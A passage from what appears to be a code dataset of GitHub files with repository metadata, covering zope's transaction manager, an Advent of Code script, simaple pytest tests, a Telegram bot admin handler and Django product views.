sys\nimport threading\nimport traceback\nimport warnings\nimport weakref\nfrom io import StringIO\n\nfrom zope.interface import implementer\n\nfrom transaction import interfaces\nfrom transaction.interfaces import TransactionFailedError\nfrom transaction.weakset import WeakSet\n\n\n_marker = object()\n\n_TB_BUFFER = None # unittests may hook\n\n\ndef _makeTracebackBuffer(): # pragma NO COVER\n if _TB_BUFFER is not None:\n return _TB_BUFFER\n return StringIO()\n\n\n_LOGGER = None # unittests may hook\n\n\ndef _makeLogger(): # pragma NO COVER\n if _LOGGER is not None:\n return _LOGGER\n return logging.getLogger(\"txn.%d\" % threading.get_ident())\n\n\nclass Status:\n # ACTIVE is the initial state.\n ACTIVE = \"Active\"\n\n COMMITTING = \"Committing\"\n COMMITTED = \"Committed\"\n\n DOOMED = \"Doomed\"\n\n # commit() or commit(True) raised an exception. All further attempts\n # to commit or join this transaction will raise TransactionFailedError.\n COMMITFAILED = \"Commit failed\"\n\n\nclass _NoSynchronizers:\n\n @staticmethod\n def map(_f):\n \"\"\"Do nothing.\"\"\"\n\n\n@implementer(interfaces.ITransaction)\nclass Transaction:\n \"\"\"Default implementation of `~transaction.interfaces.ITransaction`.\"\"\"\n\n # Assign an index to each savepoint so we can invalidate later savepoints\n # on rollback. The first index assigned is 1, and it goes up by 1 each\n # time.\n _savepoint_index = 0\n\n # If savepoints are used, keep a weak key dict of them. This maps a\n # savepoint to its index (see above).\n _savepoint2index = None\n\n # Meta data. extended_info is also metadata, but is initialized to an\n # empty dict in __init__.\n _user = \"\"\n _description = \"\"\n\n def __init__(self, synchronizers=None, manager=None):\n self.status = Status.ACTIVE\n # List of resource managers, e.g. MultiObjectResourceAdapters.\n self._resources = []\n\n # Weak set of synchronizer objects to call.\n if synchronizers is None:\n synchronizers = WeakSet()\n self._synchronizers = synchronizers\n\n self._manager = manager\n\n # _adapters: Connection/_p_jar -> MultiObjectResourceAdapter[Sub]\n self._adapters = {}\n self._voted = {} # id(Connection) -> boolean, True if voted\n # _voted and other dictionaries use the id() of the resource\n # manager as a key, because we can't guess whether the actual\n # resource managers will be safe to use as dict keys.\n\n # The user, description, and extension attributes are accessed\n # directly by storages, leading underscore notwithstanding.\n self.extension = {}\n\n self.log = _makeLogger()\n self.log.debug(\"new transaction\")\n\n # If a commit fails, the traceback is saved in _failure_traceback.\n # If another attempt is made to commit, TransactionFailedError is\n # raised, incorporating this traceback.\n self._failure_traceback = None\n\n # List of (hook, args, kws) tuples added by addBeforeCommitHook().\n self._before_commit = []\n\n # List of (hook, args, kws) tuples added by addAfterCommitHook().\n self._after_commit = []\n\n # List of (hook, args, kws) tuples added by addBeforeAbortHook().\n self._before_abort = []\n\n # List of (hook, args, kws) tuples added by addAfterAbortHook().\n self._after_abort = []\n\n @property\n def _extension(self):\n # for backward compatibility, since most clients used this\n # absent any formal API.\n return self.extension\n\n @_extension.setter\n def _extension(self, v):\n self.extension = v\n\n @property\n def user(self):\n return self._user\n\n @user.setter\n def user(self, v):\n if v is None:\n raise ValueError(\"user must not be None\")\n self._user = text_or_warn(v)\n\n @property\n def description(self):\n return self._description\n\n @description.setter\n def description(self, v):\n if v is not None:\n self._description = text_or_warn(v)\n\n def isDoomed(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n return self.status is Status.DOOMED\n\n def doom(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if self.status is not Status.DOOMED:\n if self.status is not Status.ACTIVE:\n # should not doom transactions in the middle,\n # or after, a commit\n raise ValueError('non-doomable')\n self.status = Status.DOOMED\n\n # Raise TransactionFailedError, due to commit()/join()/register()\n # getting called when the current transaction has already suffered\n # a commit/savepoint failure.\n def _prior_operation_failed(self):\n assert self._failure_traceback is not None\n raise TransactionFailedError(\n \"An operation previously failed, with traceback:\\n\\n%s\" %\n self._failure_traceback.getvalue())\n\n def join(self, resource):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if self.status is Status.COMMITFAILED:\n self._prior_operation_failed() # doesn't return\n\n if (self.status is not Status.ACTIVE and\n self.status is not Status.DOOMED):\n # TODO: Should it be possible to join a committing transaction?\n # I think some users want it.\n raise ValueError(\n f\"expected txn status {Status.ACTIVE!r} or {Status.DOOMED!r},\"\n f\" but it's {self.status!r}\")\n self._resources.append(resource)\n\n if self._savepoint2index:\n # A data manager has joined a transaction *after* a savepoint\n # was created. A couple of things are different in this case:\n #\n # 1. We need to add its savepoint to all previous savepoints.\n # so that if they are rolled back, we roll this one back too.\n #\n # 2. We don't actually need to ask the data manager for a\n # savepoint: because it's just joining, we can just abort it to\n # roll back to the current state, so we simply use an\n # AbortSavepoint.\n datamanager_savepoint = AbortSavepoint(resource, self)\n for transaction_savepoint in self._savepoint2index.keys():\n transaction_savepoint._savepoints.append(\n datamanager_savepoint)\n\n def _unjoin(self, resource):\n # Leave a transaction because a savepoint was rolled back on a resource\n # that joined later.\n\n # Don't use remove. We don't want to assume anything about __eq__.\n self._resources = [r for r in self._resources if r is not resource]\n\n def savepoint(self, optimistic=False):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if self.status is Status.COMMITFAILED:\n self._prior_operation_failed() # doesn't return, it raises\n\n try:\n savepoint = Savepoint(self, optimistic, *self._resources)\n except: # noqa: E722 do not use bare 'except'\n self._cleanup(self._resources)\n self._saveAndRaiseCommitishError() # reraises!\n\n if self._savepoint2index is None:\n self._savepoint2index = weakref.WeakKeyDictionary()\n self._savepoint_index += 1\n self._savepoint2index[savepoint] = self._savepoint_index\n\n return savepoint\n\n # Remove and invalidate all savepoints we know about with an index\n # larger than `savepoint`'s. This is what's needed when a rollback\n # _to_ `savepoint` is done.\n def _remove_and_invalidate_after(self, savepoint):\n savepoint2index = self._savepoint2index\n index = savepoint2index[savepoint]\n # use list(items()) to make copy to avoid mutating while iterating\n for savepoint, i in list(savepoint2index.items()):\n if i > index:\n savepoint.transaction = None # invalidate\n del savepoint2index[savepoint]\n\n # Invalidate and forget about all savepoints.\n def _invalidate_all_savepoints(self):\n for savepoint in self._savepoint2index.keys():\n savepoint.transaction = None # invalidate\n self._savepoint2index.clear()\n\n def commit(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if self.status is Status.DOOMED:\n raise interfaces.DoomedTransaction(\n 'transaction doomed, cannot commit')\n\n if self._savepoint2index:\n self._invalidate_all_savepoints()\n\n if self.status is Status.COMMITFAILED:\n self._prior_operation_failed() # doesn't return\n\n self._callBeforeCommitHooks()\n\n self._synchronizers.map(lambda s: s.beforeCompletion(self))\n self.status = Status.COMMITTING\n\n try:\n self._commitResources()\n self.status = Status.COMMITTED\n except: # noqa: E722 do not use bare 'except'\n t = None\n v = None\n tb = None\n try:\n t, v, tb = self._saveAndGetCommitishError()\n self._callAfterCommitHooks(status=False)\n raise v.with_traceback(tb)\n finally:\n del t, v, tb\n else:\n self._synchronizers.map(lambda s: s.afterCompletion(self))\n self._callAfterCommitHooks(status=True)\n self._free()\n self.log.debug(\"commit\")\n\n def _saveAndGetCommitishError(self):\n self.status = Status.COMMITFAILED\n # Save the traceback for TransactionFailedError.\n ft = self._failure_traceback = _makeTracebackBuffer()\n t = None\n v = None\n tb = None\n try:\n t, v, tb = sys.exc_info()\n # Record how we got into commit().\n traceback.print_stack(sys._getframe(1), None, ft)\n # Append the stack entries from here down to the exception.\n traceback.print_tb(tb, None, ft)\n # Append the exception type and value.\n ft.writelines(traceback.format_exception_only(t, v))\n return t, v, tb\n finally:\n del t, v, tb\n\n def _saveAndRaiseCommitishError(self):\n t = None\n v = None\n tb = None\n try:\n t, v, tb = self._saveAndGetCommitishError()\n raise v.with_traceback(tb)\n finally:\n del t, v, tb\n\n def getBeforeCommitHooks(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n return iter(self._before_commit)\n\n def addBeforeCommitHook(self, hook, args=(), kws=None):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if kws is None:\n kws = {}\n self._before_commit.append((hook, tuple(args), kws))\n\n def _callBeforeCommitHooks(self):\n # Call all hooks registered, allowing further registrations\n # during processing.\n self._call_hooks(self._before_commit)\n\n def getAfterCommitHooks(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n return iter(self._after_commit)\n\n def addAfterCommitHook(self, hook, args=(), kws=None):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if kws is None:\n kws = {}\n self._after_commit.append((hook, tuple(args), kws))\n\n def _callAfterCommitHooks(self, status=True):\n self._call_hooks(self._after_commit,\n exc=False, clean=True, prefix_args=(status,))\n\n def _call_hooks(self, hooks, exc=True, clean=False, prefix_args=()):\n \"\"\"Call *hooks*.\n\n If *exc* is true, fail on the first exception; otherwise\n log the exception and continue.\n\n If *clean* is true, abort all resources. This is to ensure\n a clean state should a (after) hook has affected one\n of the resources.\n\n *prefix_args* defines additional arguments prefixed\n to the arguments provided by the hook definition.\n\n ``_call_hooks`` supports that a hook adds new hooks.\n \"\"\"\n # Avoid to abort anything at the end if no hooks are registered.\n if not hooks:\n return\n try:\n # Call all hooks registered, allowing further registrations\n # during processing\n for hook, args, kws in hooks:\n try:\n hook(*(prefix_args + args), **kws)\n except: # noqa: E722 do not use bare 'except'\n if exc:\n raise\n # We should not fail\n self.log.error(\"Error in hook exec in %s \",\n hook, exc_info=sys.exc_info())\n finally:\n del hooks[:] # clear hooks\n if clean:\n # The primary operation has already been performed.\n # But the hooks execution might have left the resources\n # in an unclean state. Clean up\n for rm in self._resources:\n try:\n rm.abort(self)\n except: # noqa: E722 do not use bare 'except'\n # XXX should we take further actions here ?\n self.log.error(\"Error in abort() on manager %s\",\n rm, exc_info=sys.exc_info())\n\n def getBeforeAbortHooks(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n return iter(self._before_abort)\n\n def addBeforeAbortHook(self, hook, args=(), kws=None):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if kws is None:\n kws = {}\n self._before_abort.append((hook, tuple(args), kws))\n\n def _callBeforeAbortHooks(self):\n # Call all hooks registered, allowing further registrations\n # during processing.\n self._call_hooks(self._before_abort, exc=False)\n\n def getAfterAbortHooks(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n return iter(self._after_abort)\n\n def addAfterAbortHook(self, hook, args=(), kws=None):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if kws is None:\n kws = {}\n self._after_abort.append((hook, tuple(args), kws))\n\n def _callAfterAbortHooks(self):\n self._call_hooks(self._after_abort, clean=True)\n\n def _commitResources(self):\n # Execute the two-phase commit protocol.\n\n L = list(self._resources)\n L.sort(key=rm_key)\n try:\n for rm in L:\n rm.tpc_begin(self)\n for rm in L:\n rm.commit(self)\n self.log.debug(\"commit %r\", rm)\n for rm in L:\n rm.tpc_vote(self)\n self._voted[id(rm)] = True\n\n try:\n for rm in L:\n rm.tpc_finish(self)\n except: # noqa: E722 do not use bare 'except'\n # TODO: do we need to make this warning stronger?\n # TODO: It would be nice if the system could be configured\n # to stop committing transactions at this point.\n self.log.critical(\"A storage error occurred during the second \"\n \"phase of the two-phase commit. Resources \"\n \"may be in an inconsistent state.\")\n raise\n except: # noqa: E722 do not use bare 'except'\n # If an error occurs committing a transaction, we try\n # to revert the changes in each of the resource managers.\n t, v, tb = sys.exc_info()\n try:\n try:\n self._cleanup(L)\n finally:\n self._synchronizers.map(lambda s: s.afterCompletion(self))\n raise v.with_traceback(tb)\n finally:\n del t, v, tb\n\n def _cleanup(self, L):\n # Called when an exception occurs during tpc_vote or tpc_finish.\n for rm in L:\n if id(rm) not in self._voted:\n try:\n rm.abort(self)\n except Exception:\n self.log.error(\"Error in abort() on manager %s\",\n rm, exc_info=sys.exc_info())\n for rm in L:\n try:\n rm.tpc_abort(self)\n except Exception:\n self.log.error(\"Error in tpc_abort() on manager %s\",\n rm, exc_info=sys.exc_info())\n\n def _free_manager(self):\n try:\n if self._manager:\n self._manager.free(self)\n finally:\n # If we try to abort a transaction and fail, the manager\n # may have begun a new transaction, and will raise a\n # ValueError from free(); we don't want that to happen\n # again in _free(), which abort() always calls, so be sure\n # to clear out the manager.\n self._manager = None\n\n def _free(self):\n # Called when the transaction has been committed or aborted\n # to break references---this transaction object will not be returned\n # as the current transaction from its manager after this, and all\n # IDatamanager objects joined to it will forgotten\n # All hooks and data are forgotten.\n self._free_manager()\n\n if hasattr(self, '_data'):\n delattr(self, '_data')\n\n del self._resources[:]\n\n del self._before_commit[:]\n del self._after_commit[:]\n del self._before_abort[:]\n del self._after_abort[:]\n\n # self._synchronizers might be shared, we can't mutate it\n self._synchronizers = _NoSynchronizers\n self._adapters = None\n self._voted = None\n self.extension = None\n\n def data(self, ob):\n try:\n data = self._data\n except AttributeError:\n raise KeyError(ob)\n\n try:\n return data[id(ob)]\n except KeyError:\n raise KeyError(ob)\n\n def set_data(self, ob, ob_data):\n try:\n data = self._data\n except AttributeError:\n data = self._data = {}\n\n data[id(ob)] = ob_data\n\n def abort(self):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n try:\n t = None\n v = None\n tb = None\n\n self._callBeforeAbortHooks()\n if self._savepoint2index:\n self._invalidate_all_savepoints()\n\n try:\n self._synchronizers.map(lambda s: s.beforeCompletion(self))\n except: # noqa: E722 do not use bare 'except'\n t, v, tb = sys.exc_info()\n self.log.error(\n \"Failed to call synchronizers\", exc_info=sys.exc_info())\n\n for rm in self._resources:\n try:\n rm.abort(self)\n except: # noqa: E722 do not use bare 'except'\n if tb is None:\n t, v, tb = sys.exc_info()\n self.log.error(\"Failed to abort resource manager: %s\",\n rm, exc_info=sys.exc_info())\n\n self._callAfterAbortHooks()\n # Unlike in commit(), we are no longer the current transaction\n # when we call afterCompletion(). But we can't be completely\n # _free(): the synchronizer might want to access some data it set\n # before.\n self._free_manager()\n\n self._synchronizers.map(lambda s: s.afterCompletion(self))\n\n self.log.debug(\"abort\")\n\n if tb is not None:\n raise v.with_traceback(tb)\n finally:\n self._free()\n del t, v, tb\n\n def note(self, text):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n if text is not None:\n text = text_or_warn(text).strip()\n if self.description:\n self.description += \"\\n\" + text\n else:\n self.description = text\n\n def setUser(self, user_name, path=\"/\"):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n self.user = \"{} {}\".format(text_or_warn(path), text_or_warn(user_name))\n\n def setExtendedInfo(self, name, value):\n \"\"\"See `~transaction.interfaces.ITransaction`.\"\"\"\n self.extension[name] = value\n\n def isRetryableError(self, error):\n return self._manager._retryable(type(error), error)\n\n\n# TODO: We need a better name for the adapters.\n\n\ndef rm_key(rm):\n func = getattr(rm, 'sortKey', None)\n if func is not None:\n return func()\n\n\n@implementer(interfaces.ISavepoint)\nclass Savepoint:\n \"\"\"Implementation of `~transaction.interfaces.ISavepoint`, a transaction\n savepoint.\n\n Transaction savepoints coordinate savepoints for data managers\n participating in a transaction.\n \"\"\"\n\n def __init__(self, transaction, optimistic, *resources):\n self.transaction = transaction\n self._savepoints = savepoints = []\n\n for datamanager in resources:\n try:\n savepoint = datamanager.savepoint\n except AttributeError:\n if not optimistic:\n raise TypeError(\"Savepoints unsupported\", datamanager)\n savepoint = NoRollbackSavepoint(datamanager)\n else:\n savepoint = savepoint()\n\n savepoints.append(savepoint)\n\n @property\n def valid(self):\n return self.transaction is not None\n\n def rollback(self):\n \"\"\"See `~transaction.interfaces.ISavepoint`.\"\"\"\n transaction = self.transaction\n if transaction is None:\n raise interfaces.InvalidSavepointRollbackError(\n 'invalidated by a later savepoint')\n transaction._remove_and_invalidate_after(self)\n\n try:\n for savepoint in self._savepoints:\n savepoint.rollback()\n except: # noqa: E722 do not use bare 'except'\n # Mark the transaction as failed.\n transaction._saveAndRaiseCommitishError() # reraises!\n\n\nclass AbortSavepoint:\n\n def __init__(self, datamanager, transaction):\n self.datamanager = datamanager\n self.transaction = transaction\n\n def rollback(self):\n self.datamanager.abort(self.transaction)\n self.transaction._unjoin(self.datamanager)\n\n\nclass NoRollbackSavepoint:\n\n def __init__(self, datamanager):\n self.datamanager = datamanager\n\n def rollback(self):\n raise TypeError(\"Savepoints unsupported\", self.datamanager)\n\n\ndef text_or_warn(s):\n if isinstance(s, str):\n return s\n\n warnings.warn(\"Expected text\", DeprecationWarning, stacklevel=3)\n if isinstance(s, bytes):\n return s.decode('utf-8', 'replace')\n else:\n return str(s)\n","repo_name":"zopefoundation/transaction","sub_path":"src/transaction/_transaction.py","file_name":"_transaction.py","file_ext":"py","file_size_in_byte":22783,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"32"} +{"seq_id":"40847933140","text":"#!/usr/bin/env python3\n# -*- Coding: utf-8 -*-\n\n\"\"\" Advent of Code Day 2 - Part One \"\"\"\n\nfilename = \"input-day-2.txt\"\nfile = open(\"./inputs/\" + filename, \"r\")\n\nchars = \"abcdefghijklmnopqrstuvwxyz\"\na, b = (0,)*2\n\nfor line in file:\n count = [0, 0]\n for char in chars:\n match = line.count(char)\n if match is 2 and count[0] is 0:\n count[0] = 1\n a += 1\n elif match is 3 and count[1] is 0:\n count[1] = 1\n b += 1\n \nprint(\"Output: {}\".format(a*b))","repo_name":"PedroLabrador/adventofcode-py-2018","sub_path":"02_Inventory_Management_System_Part_One.py","file_name":"02_Inventory_Management_System_Part_One.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42445771618","text":"import json\n\nimport pytest\n\nfrom simaple.core import JobType\nfrom simaple.fetch.response.character import CharacterResponse\nfrom simaple.fetch.translator.gear import GearTranslator\nfrom simaple.fetch.translator.kms.gear import kms_gear_stat_translator\nfrom simaple.fetch.translator.kms.potential import kms_potential_translator\nfrom simaple.gear.gear_repository import GearRepository\nfrom simaple.gear.slot_name import SlotName\n\n\n@pytest.fixture(name=\"raw_data\")\ndef fixture_raw_data():\n with open(\"tests/fetch/response/output.json\", encoding=\"utf-8\") as f:\n raw = json.load(f)\n\n return raw\n\n\n@pytest.fixture(name=\"new_data\")\ndef fixture_new_data():\n with open(\"tests/fetch/response/dumped/archmagefp2.json\", encoding=\"utf-8\") as f:\n raw = json.load(f)\n\n return raw\n\n\ndef test_response(raw_data):\n response = CharacterResponse(\n raw_data,\n GearTranslator(\n gear_stat_translator=kms_gear_stat_translator(),\n potential_translator=kms_potential_translator(),\n gear_repository=GearRepository(),\n ),\n )\n\n item = response.get_item(SlotName.eye_accessory)\n\n\ndef test_raw(raw_data):\n response = CharacterResponse(\n raw_data,\n GearTranslator(\n gear_stat_translator=kms_gear_stat_translator(),\n potential_translator=kms_potential_translator(),\n gear_repository=GearRepository(),\n ),\n )\n\n expected_raw = response.get_raw()\n\n assert expected_raw == raw_data\n\n\ndef test_arcane_symbol(raw_data):\n response = CharacterResponse(\n raw_data,\n GearTranslator(\n gear_stat_translator=kms_gear_stat_translator(),\n potential_translator=kms_potential_translator(),\n gear_repository=GearRepository(),\n ),\n )\n\n symbol = response.get_item(SlotName.arcane1)\n\n assert symbol.stat.DEX_static == 2200\n\n\ndef test_all_items(new_data):\n response = CharacterResponse(\n new_data,\n GearTranslator(\n gear_stat_translator=kms_gear_stat_translator(),\n potential_translator=kms_potential_translator(),\n gear_repository=GearRepository(),\n ),\n )\n\n print(response.get_all_item_stat().short_dict())\n\n\ndef test_jobtype(new_data):\n response = CharacterResponse(\n new_data,\n GearTranslator(\n gear_stat_translator=kms_gear_stat_translator(),\n potential_translator=kms_potential_translator(),\n gear_repository=GearRepository(),\n ),\n )\n\n assert response.get_jobtype() == JobType.archmagefb\n","repo_name":"simaple-team/simaple","sub_path":"tests/fetch/response/test_response.py","file_name":"test_response.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"32"} +{"seq_id":"13984850788","text":"from loader import *\nfrom keyboards.admin_departament import *\nfrom keyboards.users import user_markup\nfrom telebot import types\n\n@bot.message_handler(commands=['meadmin'])\ndef start_departament(msg):\n user_id = msg.chat.id\n if not admin_departament.is_admin(user_id):\n bot.send_message(user_id, 'Сорри но вы не админ!')\n return\n text = read_rules('departament')\n bot.send_photo(msg.chat.id, photo=open('res/departament.jpg', 'rb'))\n bot.send_message(msg.chat.id, text=text, reply_markup=admin_dep_markup)\n\n@bot.message_handler(text=['Меню администратора'])\ndef start_departament(msg):\n user_id = msg.chat.id\n if not admin_departament.is_admin(user_id):\n bot.send_message(user_id, 'Сорри но вы не админ!')\n return\n text = read_rules('departament')\n try:\n bot.send_photo(msg.chat.id, photo=open('res/departament.jpg', 'rb'))\n except:\n print('Can\\'t find the photo :(')\n bot.send_message(msg.chat.id, text=text, reply_markup=admin_dep_markup)\n\n@bot.message_handler(text=['На главную'])\ndef go_back(msg):\n \n text = 'Меню пользователя!'\n bot.send_message(msg.chat.id, text=text, reply_markup=user_markup['main'])\n\n@bot.message_handler(text=['Заявки пользователей'])\ndef get_applications(msg):\n admin_id = msg.chat.id\n applications = application.get_applications_for_admin(admin_id)\n apps = []\n for app in applications:\n apps.append(\n [priority_emoji[app[8]]+' '+app[7],app[0]]\n )\n inline = gen_inline_app(apps, 'apopen')\n text = 'Заявки клиентов:'\n bot.send_message(msg.chat.id, text, reply_markup=inline)\n \nlocal_db = {}\n@bot.callback_query_handler(func=lambda call: call.data.startswith('apopen'))\ndef open_application(call):\n action, name, id = call.data.split('-')\n chat_id = call.message.chat.id\n message_id = call.message.id\n admin_id = chat_id\n\n name = ' '.join(name.split(' ')[1:])\n\n applications = application.get_applications_for_admin(admin_id)\n for app in applications:\n if name in app:\n text = '\\n'.join([\n app[7],\n 'Отдел: ' + app[1],\n 'Описание: ' + app[5],\n 'Приоритет заявки: ' + app[8],\n 'Статус заявки: ' + app[6],\n 'Дата создания заявки: ' + app[9]\n ])\n action = str(app[0])\n user_id = application.get_user_by_application(name)\n app_id = app[0]\n action += '-' + str(user_id) + '-' + str(app_id)\n inline = gen_opened_app(action)\n\n local_db[chat_id] = {\n 'header' : app[1],\n 'user_id' : user_id\n }\n\n bot.answer_callback_query(call.id, text='')\n bot.edit_message_text(text=text, chat_id=chat_id, message_id=message_id, reply_markup=inline)\n\nlocal_db = {}\n@bot.callback_query_handler(func=lambda call: call.data.startswith('status'))\ndef edit_status(call):\n status, app_id = call.data.split('-')\n chat_id = call.message.chat.id\n local_db[chat_id] = {\n 'app_id' : app_id\n }\n bot.answer_callback_query(call.id, text='')\n bot.send_message(chat_id, text='Введите новое состояние заявки:')\n bot.register_next_step_handler(call.message, edit_status_step)\n\ndef edit_status_step(msg):\n new_status = msg.text\n app_id = local_db[msg.chat.id]['app_id']\n application.edit_status(app_id, new_status)\n bot.send_message(msg.chat.id, text='Статус заявки изменен!')\n\n user_id = application.get_user_id(app_id)\n header = application.get_header(app_id)\n\n inline = types.InlineKeyboardMarkup(keyboard=[\n [\n types.InlineKeyboardButton(text=header, callback_data=f'open-{header}-{app_id}')\n ]\n ])\n\n text = f'{header} - статус заявки изменен!'\n\n bot.send_message(user_id, text, reply_markup=inline)\n\n@bot.callback_query_handler(func=lambda call: call.data.startswith('aback'))\ndef back_to_applications(call):\n chat_id = call.message.chat.id\n message_id = call.message.id\n text = 'Заявки клиентов:'\n applications = application.get_applications_for_admin(chat_id)\n apps = []\n for app in applications:\n apps.append(\n [priority_emoji[app[8]]+' '+app[7],app[0]]\n )\n inline = gen_inline_app(apps, 'apopen')\n bot.answer_callback_query(call.id, text='')\n bot.edit_message_text(text=text, chat_id=chat_id, message_id=message_id, reply_markup=inline)\n\nlocal_db = {}\n@bot.callback_query_handler(func=lambda call: call.data.startswith('uwrite'))\ndef write_to_user(call):\n _, user_id, app_id = call.data.split('-')\n local_db[call.message.chat.id] = {\n 'user_id' : int(user_id),\n 'app_id':app_id\n }\n bot.answer_callback_query(call.id, text='')\n bot.send_message(call.message.chat.id, 'Введите текст для отправки:')\n bot.register_next_step_handler(call.message, write_to_user_last_step)\n\ndef write_to_user_last_step(msg):\n app_id = local_db[msg.chat.id]['app_id']\n header = application.get_header(app_id)\n text = f'Заявка-{header}\\n{msg.text}'\n user_id = local_db[msg.chat.id]['user_id']\n inline = types.InlineKeyboardMarkup(keyboard=[\n [\n types.InlineKeyboardButton(text='Ответить', callback_data=f'awrite-{msg.chat.id}-{app_id}')\n ]\n ])\n bot.send_message(user_id, text, reply_markup=inline)\n bot.send_message(msg.chat.id, 'Сообщение отправлено!')\n","repo_name":"rishat04/rost-job","sub_path":"handlers/admin_dep.py","file_name":"admin_dep.py","file_ext":"py","file_size_in_byte":5678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"683473205","text":"from django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\nfrom django.shortcuts import render, redirect\n\nfrom consoles.models import Console\nfrom error_and_success import cases\nfrom manufacturers.models import Manufacturer\n\nfrom orders.models import Order, OrderProduct\nfrom products.forms.product_form import ProductForm\nfrom products.forms.image_form import ImageForm\nfrom products.forms.review_form import ReviewForm\nfrom products.models import Product, ProductImage, ProductHistory, Review\n\nfrom django.shortcuts import get_object_or_404\nfrom django.http import JsonResponse\n\nfrom users.models import Customer\n\n#Get all products you need for the front page\ndef frontpage(request):\n context = cases.front_page(dict())\n context = cases.get_profile(context, request)\n return render(request, 'products/frontpage.html', context)\n\n#Get all products you need for the recent views in the footer\n@login_required()\ndef recent_view(request):\n if request.user.is_authenticated:\n x = ProductHistory.objects.order_by('product','-id').distinct('product')\n x = ProductHistory.objects.filter(user=request.user, id__in=x).order_by('-id')[:5]\n the_products = []\n for y in x:\n the_products.append(get_object_or_404(Product, pk=y.product.id))\n recent_products = [{\n 'id': x.id,\n 'stock': x.stock,\n 'name': x.name,\n 'description': x.description,\n 'price': x.price,\n 'on_sale': x.on_sale,\n 'discount': x.discount,\n 'discount_price': x.discount_price,\n 'rating': x.rating,\n 'image': ProductImage.objects.filter(product=x.id).first().image\n } for x in the_products]\n return JsonResponse({'data': recent_products})\n\n#This is to get all the products you need for the search and more\ndef index(request):\n if 'search_filter' in request.GET:\n #First you get the search text and get all consoles and manufacturers that contain that search text\n search_filter = request.GET['search_filter']\n list_of_manu = Manufacturer.objects.filter(name__icontains=search_filter)\n list_of_cons = Console.objects.filter(name__icontains=search_filter)\n manu_id = []\n cons_id = []\n #Get the id of all manufacturers and consoles and check for all products if the name contains the search text,\n #If the console id is in the cons_id or manufacturer is in manu_id\n for x in list_of_manu:\n manu_id.append(x.id)\n for y in list_of_cons:\n cons_id.append(y.id)\n products = [{\n 'id': x.id,\n 'name': x.name,\n 'description': x.description,\n 'rating': x.rating,\n 'review_count': x.review_count,\n 'stock': x.stock,\n 'price': x.price,\n 'on_sale': x.on_sale,\n 'discount': x.discount,\n 'discount_price': x.discount_price,\n 'image': ProductImage.objects.filter(product=x.id).first().image\n } for x in Product.objects.filter(Q(name__icontains=search_filter) | Q(console_type__in=cons_id )| Q(manufacturer__in=manu_id))]\n return JsonResponse({'data': products})\n context = {'products': Product.objects.all().order_by('name')}\n context = cases.get_profile(context, request)\n\n return render(request, 'products/index.html', context)\n\n#This is to get the data for a single product\ndef get_product_by_id(request, id, consolename=None, name=None, context={}):\n the_product = get_object_or_404(Product, pk=id)\n reviews = Review.objects.filter(product=the_product)\n full_reviews = [{\n 'star': x.star,\n 'comment': x.comment,\n 'id': x.id,\n 'image': get_object_or_404(Customer, pk=x.customer_id).image,\n 'name': get_object_or_404(Customer, pk=x.customer_id).user.username\n }for x in reviews]\n context = cases.get_profile(context, request)\n context['product'] = the_product\n context['filter'] = 'none'\n context['comments'] = full_reviews\n #This is to add the product to product history of the user that is logged in (if he is logged in) both for\n #Recent views and product history\n if request.user.is_authenticated:\n new_item_view = ProductHistory(user=request.user, product=the_product)\n new_item_view.save()\n return render(request, 'products/product_details.html', context)\n\n#This is for creating a product an is similar to creating a console but it has 2 forms\n# This is because 1 product can have many images.\n@login_required()\ndef create_product(request):\n if request.user.is_superuser:\n context ={\n 'form1': ProductForm(),\n 'form2': ImageForm()\n }\n context = cases.get_profile(context, request)\n if request.method == \"POST\":\n form1 = ProductForm(data=request.POST)\n form2 = ImageForm(data=request.POST)\n if form1.is_valid() and form2.is_valid():\n the_cons = Console.objects.get(pk=form1.instance.console_type.id)\n form1.instance.manufacturer = Manufacturer.objects.get(pk=the_cons.manufacturer.id)\n #This is just to set the discount product if the product is on sale\n if form1.instance.on_sale == True:\n form1.instance.discount_price = round(form1.instance.price*(1-form1.instance.discount/100), 2)\n form1.save()\n form2.instance.product = form1.instance\n form2.save()\n\n context = cases.success(context, 'Successfully updated product ' + form1.instance.name)\n return render(request, 'products/create_product.html', context)\n return render(request, 'products/create_product.html', context)\n else:\n context = cases.get_profile(dict(), request)\n context = cases.front_page(context)\n context = cases.error(context, \"You shall not pass\")\n return render(request, 'products/frontpage.html', context)\n\n#This is to update a product, but not the image\n@login_required()\ndef update_product(request, id):\n if request.user.is_superuser:\n the_product = Product.objects.filter(pk=id).first()\n context = {\n 'form': ProductForm(instance=the_product),\n 'product_id': id\n }\n context = cases.get_profile(context, request)\n if request.method == \"POST\":\n form = ProductForm(data=request.POST,instance=the_product)\n context['form'] = form\n if form.is_valid():\n the_cons = Console.objects.get(pk=form.instance.console_type.id)\n form.instance.manufacturer = Manufacturer.objects.get(pk=the_cons.manufacturer.id)\n if form.instance.on_sale == True:\n form.instance.discount_price = round(form.instance.price*(1-form.instance.discount/100),2)\n form.save()\n context = cases.success(context, \"Successfully updated product \" + the_product.name)\n\n return render(request, 'products/update_product.html', context)\n 